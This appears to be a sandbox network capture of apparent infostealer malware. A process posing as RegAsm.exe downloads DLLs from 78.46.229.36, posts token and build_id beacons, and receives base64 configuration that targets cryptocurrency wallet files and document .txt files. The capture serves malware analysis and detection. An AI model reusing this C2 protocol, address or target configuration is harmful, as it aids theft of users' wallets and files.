2024-03-28 07:36:15 UTC	16384	IN	Data Raw: ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 f0 81 c4 08 01 00 00 5e 5f 5b 5d c3 8b 5d 0c c7 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(^_[]]
2024-03-28 07:36:15 UTC	16384	IN	Data Raw: ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 bf 4d 02 00 83 c4 04 a3 38 9a 03 10 ff 75 0c e8 Data Ascii: kWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGPM8u
2024-03-28 07:36:16 UTC	16384	IN	Data Raw: 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 00 00 ba 01 e0 01 e0 33 11 be 01 f1 01 f1 33 71 Data Ascii: AAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q33q
2024-03-28 07:36:16 UTC	16384	IN	Data Raw: 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 02 00 00 3d 21 40 00 00 0f 85 37 06 00 00 83 7c Data Ascii: !=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#=!@7\|
2024-03-28 07:36:16 UTC	16384	IN	Data Raw: 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 00 74 8a eb 18 83 c7 60 8b 07 89 01 31 db e9 7a Data Ascii: 1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=Pt`1z
2024-03-28 07:36:16 UTC	16384	IN	Data Raw: d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 83 c4 04 56 e8 78 4d 01 00 83 c4 04 83 fb 40 bf Data Ascii: EGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZVxM@
2024-03-28 07:36:16 UTC	16384	IN	Data Raw: 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 ba 83 01 00 00 0f a3 f2 73 Data Ascii: H8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.s
2024-03-28 07:36:16 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 10 7c 03 10 83 c4 04 83 7e 0c 00 0f 88 8b 02 00 Data Ascii: USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4\|~
2024-03-28 07:36:16 UTC	16384	IN	Data Raw: 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 8b 18 85 f6 75 a1 8b 4b 14 ff 15 00 a0 03 10 ff Data Ascii: <^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%uK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49728	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:16 UTC	210	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Cache-Control: no-cache
2024-03-28 07:36:17 UTC	245	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:17 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-13bf0" Accept-Ranges: bytes
2024-03-28 07:36:17 UTC	16139	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-03-28 07:36:17 UTC	16384	IN	Data Raw: ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c 3b 42 0c 74 4f 0f b6 f8 0f b6 42 0c 2b f8 75 18 Data Ascii: NB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u
2024-03-28 07:36:17 UTC	16384	IN	Data Raw: 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 74 20 85 ff 74 1c 8b 45 f8 89 07 8b 45 fc 89 47 Data Ascii: Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMGt tEEG
2024-03-28 07:36:17 UTC	16384	IN	Data Raw: 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f 85 12 ff ff ff 42 89 15 90 f2 00 10 8b f2 8a 0a Data Ascii: t@++t+t+u+uQ<0\|*<9&w/c5~bASJCtvB
2024-03-28 07:36:17 UTC	15589	IN	Data Raw: ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 6e 69 6e Data Ascii: \|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicrosoft Code Signin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49729	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:19 UTC	311	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:36:19 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------KFBFCAFCBKFIEBFHIDBACont
2024-03-28 07:36:19 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:36:19 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.11	49730	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:20 UTC	310	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBGHDBKEBGIDHJJEHCA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:36:20 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 41 0d 0a 43 6f 6e 74 Data Ascii: ------AEBGHDBKEBGIDHJJEHCAContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------AEBGHDBKEBGIDHJJEHCAContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------AEBGHDBKEBGIDHJJEHCACont
2024-03-28 07:36:21 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:36:21 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.11	49731	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:21 UTC	310	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:36:21 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------ECAFHIIJJECGDHIEGDAKCont
2024-03-28 07:36:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:36:22 UTC	71	IN	Data Raw: 33 63 0d 0a 52 47 56 6d 59 58 56 73 64 48 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 52 38 4e 54 42 38 64 48 4a 31 5a 58 77 71 64 32 6c 75 5a 47 39 33 63 79 70 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 3cRGVmYXVsdHwlRE9DVU1FTlRTJVx8Ki50eHR8NTB8dHJ1ZXwqd2luZG93cyp80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
